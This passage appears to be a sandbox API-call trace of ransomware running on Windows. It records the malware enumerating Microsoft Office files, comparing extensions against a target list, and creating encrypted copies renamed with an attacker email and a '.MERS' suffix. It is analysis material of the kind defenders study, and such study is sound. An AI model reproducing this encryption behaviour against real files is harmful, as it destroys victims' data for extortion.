office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0273.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.572] lstrlenW (lpString=".doc") returned 4 [0273.572] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.572] lstrlenW (lpString=".docx") returned 5 [0273.572] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0273.572] lstrlenW (lpString=".pdf") returned 4 [0273.572] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.572] lstrlenW (lpString=".xls") returned 4 [0273.572] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.572] lstrlenW (lpString=".xlsx") returned 5 [0273.572] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0273.572] lstrlenW (lpString=".ppt") returned 4 [0273.573] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".zip") returned 4 [0273.573] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString=".rar") returned 4 [0273.573] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString=".bz2") returned 4 [0273.573] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.573] lstrlenW (lpString=".7z") returned 3 [0273.573] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".dbf") returned 4 [0273.573] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".1cd") returned 4 [0273.573] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".jpg") returned 4 [0273.573] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".doc") returned 4 [0273.573] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString=".docx") returned 5 [0273.573] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0273.573] lstrlenW (lpString=".pdf") returned 4 [0273.573] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString=".xls") returned 4 [0273.573] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString=".xlsx") returned 5 [0273.573] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0273.573] lstrlenW (lpString=".ppt") returned 4 [0273.573] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.573] lstrlenW (lpString=".zip") returned 4 [0273.574] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.574] lstrlenW (lpString=".rar") returned 4 [0273.574] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.574] lstrlenW (lpString=".bz2") returned 4 [0273.574] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.574] lstrlenW (lpString=".7z") returned 3 [0273.574] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.574] lstrlenW (lpString=".dbf") returned 4 [0273.574] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.574] lstrlenW (lpString=".1cd") returned 4 [0273.574] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0273.574] lstrlenW (lpString=".jpg") returned 4 [0273.574] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.574] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.574] lstrlenW (lpString="BULLETS.DLL") returned 11 [0273.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.582] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15264) returned 1 [0273.583] CloseHandle (hObject=0x3c8) returned 1 [0273.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0273.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.583] lstrlenW (lpString=".doc") returned 4 [0273.583] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString=".docx") returned 5 [0273.583] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0273.583] lstrlenW (lpString=".pdf") returned 4 [0273.583] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString=".xls") returned 4 [0273.583] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString=".xlsx") returned 5 [0273.583] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0273.583] lstrlenW (lpString=".ppt") returned 4 [0273.583] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.583] lstrlenW (lpString=".zip") returned 4 [0273.583] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString=".rar") returned 4 [0273.583] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.583] lstrlenW (lpString=".bz2") returned 4 [0273.583] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.583] lstrlenW (lpString=".7z") returned 3 [0273.583] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString=".dbf") returned 4 [0273.584] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString=".1cd") returned 4 [0273.584] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString=".jpg") returned 4 [0273.584] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString=".doc") returned 4 [0273.584] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString=".docx") returned 5 [0273.584] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0273.584] lstrlenW (lpString=".pdf") returned 4 [0273.584] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString=".xls") returned 4 [0273.584] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString=".xlsx") returned 5 [0273.584] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0273.584] lstrlenW (lpString=".ppt") returned 4 [0273.584] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.584] lstrlenW (lpString=".zip") returned 4 [0273.584] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString=".rar") returned 4 [0273.584] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.584] lstrlenW (lpString=".bz2") returned 4 [0273.585] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.585] lstrlenW (lpString=".7z") returned 3 [0273.585] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.585] lstrlenW (lpString=".dbf") returned 4 [0273.585] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.585] lstrlenW (lpString=".1cd") returned 4 [0273.585] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0273.585] lstrlenW (lpString=".jpg") returned 4 [0273.585] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.585] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.585] lstrlenW (lpString="LINES.DLL") returned 9 [0273.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.616] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15256) returned 1 [0273.616] CloseHandle (hObject=0x3c8) returned 1 [0273.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0273.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.617] lstrlenW (lpString=".doc") returned 4 [0273.617] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString=".docx") returned 5 [0273.617] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0273.617] lstrlenW (lpString=".pdf") returned 4 [0273.617] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString=".xls") returned 4 [0273.617] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString=".xlsx") returned 5 [0273.617] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0273.617] lstrlenW (lpString=".ppt") returned 4 [0273.617] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.617] lstrlenW (lpString=".zip") returned 4 [0273.617] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString=".rar") returned 4 [0273.617] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.617] lstrlenW (lpString=".bz2") returned 4 [0273.617] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.617] lstrlenW (lpString=".7z") returned 3 [0273.617] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.617] lstrlenW (lpString=".dbf") returned 4 [0273.617] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.617] lstrlenW (lpString=".1cd") returned 4 [0273.618] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString=".jpg") returned 4 [0273.618] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString=".doc") returned 4 [0273.618] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString=".docx") returned 5 [0273.618] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0273.618] lstrlenW (lpString=".pdf") returned 4 [0273.618] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString=".xls") returned 4 [0273.618] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString=".xlsx") returned 5 [0273.618] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0273.618] lstrlenW (lpString=".ppt") returned 4 [0273.618] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString=".zip") returned 4 [0273.618] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString=".rar") returned 4 [0273.618] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.618] lstrlenW (lpString=".bz2") returned 4 [0273.618] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.618] lstrlenW (lpString=".7z") returned 3 [0273.618] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString=".dbf") returned 4 [0273.618] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.618] lstrlenW (lpString=".1cd") returned 4 [0273.618] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0273.619] lstrlenW (lpString=".jpg") returned 4 [0273.619] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.619] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.619] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0273.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.621] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15776) returned 1 [0273.621] CloseHandle (hObject=0x3c8) returned 1 [0273.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0273.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.621] lstrlenW (lpString=".doc") returned 4 [0273.621] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.621] lstrlenW (lpString=".docx") returned 5 [0273.621] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0273.621] lstrlenW (lpString=".pdf") returned 4 [0273.621] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.621] lstrlenW (lpString=".xls") returned 4 [0273.622] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".xlsx") returned 5 [0273.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0273.622] lstrlenW (lpString=".ppt") returned 4 [0273.622] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString=".zip") returned 4 [0273.622] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".rar") returned 4 [0273.622] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".bz2") returned 4 [0273.622] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.622] lstrlenW (lpString=".7z") returned 3 [0273.622] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString=".dbf") returned 4 [0273.622] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString=".1cd") returned 4 [0273.622] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString=".jpg") returned 4 [0273.622] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.622] lstrlenW (lpString=".doc") returned 4 [0273.622] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".docx") returned 5 [0273.622] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0273.622] lstrlenW (lpString=".pdf") returned 4 [0273.622] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".xls") returned 4 [0273.622] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.622] lstrlenW (lpString=".xlsx") returned 5 [0273.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0273.623] lstrlenW (lpString=".ppt") returned 4 [0273.623] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.623] lstrlenW (lpString=".zip") returned 4 [0273.623] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.623] lstrlenW (lpString=".rar") returned 4 [0273.623] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.623] lstrlenW (lpString=".bz2") returned 4 [0273.623] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.623] lstrlenW (lpString=".7z") returned 3 [0273.623] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.623] lstrlenW (lpString=".dbf") returned 4 [0273.623] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.623] lstrlenW (lpString=".1cd") returned 4 [0273.623] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0273.623] lstrlenW (lpString=".jpg") returned 4 [0273.623] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.623] lstrcmpiW (lpString1=".MMW", lpString2=".MERS") returned 1 [0273.623] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0273.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.624] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=492624) returned 1 [0273.624] CloseHandle (hObject=0x3c8) returned 1 [0273.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0273.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0273.626] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.626] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.626] GetLastError () returned 0x0 [0273.626] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x78450, lpOverlapped=0x0) returned 1 [0273.835] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x78460, lpOverlapped=0x0) returned 1 [0273.844] ReadFile (in: hFile=0x3c8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, 